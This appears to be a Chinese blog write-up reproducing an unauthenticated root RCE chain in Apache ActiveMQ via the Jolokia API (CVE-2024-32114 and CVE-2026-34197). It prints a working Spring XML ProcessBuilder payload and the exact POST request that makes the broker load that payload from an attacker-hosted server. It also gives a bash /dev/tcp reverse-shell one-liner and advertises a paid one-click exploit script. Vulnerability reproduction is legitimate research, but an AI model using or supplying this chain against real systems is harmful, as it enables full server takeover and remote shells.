发生了什么?
前两天复现 Apache ActiveMQ 的一个漏洞组合,结果让我有点意外——不需要任何账号密码,一个 HTTP 请求下去,服务器的 root 权限就到手了。
不是我在吹,是真的就这么离谱。
这个漏洞组合涉及两个 CVE:CVE-2024-32114 和 CVE-2026-34197。Apache ActiveMQ 是个 Java 写的企业消息中间件,默认在 8161 端口提供 Web 管理界面。它的后台管理依赖一个叫 Jolokia 的组件——这玩意负责把 Java 的管理接口转成 HTTP API,让前端页面能调。
问题出在两步上:第一步,开发团队给 /admin/* 路径加了登录校验,但忘了给 /api/jolokia/ 也加(CVE-2024-32114)。第二步,Jolokia 暴露的一个 MBean 方法 addNetworkConnector() 可以接收外部传入的远程 XML 配置地址,然后老老实实下载并执行其中的命令(CVE-2026-34197)。
分开看,一个 API 没锁门,一个有执行能力但要先认证。合在一起——门开着,枪在桌上,你拿起就能开。
最后效果就是:

一个 POST 请求下去,Shell 弹回来了,直接 root 权限。就是这种感觉。
有多严重?——POC验证
先搭个环境,一行命令的事:
docker compose up -d
访问 http://your-ip:8161,看到 ActiveMQ 6.1.1 的欢迎页:


首先验证未授权访问到底存不存在。直接在浏览器里访问:
http://your-ip:8161/api/jolokia/list
返回了 200 OK 和一串超长的 JSON——里面是 ActiveMQ 所有已注册的 MBean 列表,包括 Broker 的各种操作方法。注意看,这个请求没有带任何认证信息:

接下来是 POC 验证。你在攻击机上创建一个恶意 XML 文件 poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[id > /tmp/success]]></value>
</list>
</constructor-arg>
</bean>
</beans>
简单解释一下这个 XML 在干什么:它定义了一个 ProcessBuilder 对象(Java 里执行系统命令的类),并且设置了 init-method="start"——意思是这个对象一旦被创建,就自动调用 start() 方法执行命令。命令是 id > /tmp/success,把当前用户信息写到一个文件里。
然后在 XML 所在目录启动一个 HTTP 服务:
python3 -m http.server 25000
最后发送攻击请求:
POST /api/jolokia/ HTTP/1.1
Host: your-ip:8161
Content-Type: application/json
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://攻击IP:25000/poc.xml)"]
}
这个请求的核心在 arguments 那个字符串里。它告诉 ActiveMQ:“去连接一个叫 evil 的本地 broker”,evil 不存在,于是 ActiveMQ 按 brokerConfig 参数里的地址去攻击机上下载了 poc.xml。Spring 框架解析了这个 XML,创建了 ProcessBuilder,命令自动执行。

验证一下命令是否执行成功:
docker compose exec activemq cat /tmp/success
看到 uid=0(root) 的输出——命令成功执行。至此,已经证明这个漏洞组合确实能在服务器上执行任意命令。
真正的门槛在哪?
看到这里你可能觉得:“好像也没多难啊,把 id 命令换成反弹 Shell 不就行了?”
我当时也是这么想的。信心满满地把 id > /tmp/success 换成了 bash -i >& /dev/tcp/攻击IP/端口 0>&1,XML 文件重新存了一个,HTTP 服务器重新跑起来,攻击请求重新发了一发。
然后我盯着 nc 监听的空白终端,等了三十秒。什么都没有。
我检查了 XML 语法、确认了 HTTP 服务器日志里收到了 GET 请求、验证了目标容器确实能连到攻击机——全都没问题。
问题出在哪?答案不止一个——网络端口可能被云防火墙挡了,vm:// 后面的名字重复导致第二次攻击被跳过,甚至 XML 里少写了一个 CDATA 块命令就被解析器咬掉了。看起来简单的一条"换条命令",实操中至少有四五个地方能让你翻车。我在这些坑里踩了两天才一个个爬出来。
如果你想走完这条路
我把从环境搭建到最终反弹 Shell 的完整过程——包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个一键利用脚本——都整理在了付费专栏里。
本篇文章完整版详见 【GetShell】Apache ActiveMQ Jolokia未授权和远程代码执行漏洞 (CVE-2026-34197)。👉点击直达
本篇文章视频演示:无账号直接拿 root!ActiveMQ Jolokia双CVE组合RCE完整复现 👉点击直达
专栏的名字叫 高危漏洞深度利用—零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于 POC 复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码绕过、网络配置、云防火墙这些坑,可以翻翻。
复现过程中有问题直接评论区留言,我看到了会回。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。请遵守《中华人民共和国网络安全法》。
131

被折叠的 条评论
为什么被折叠?



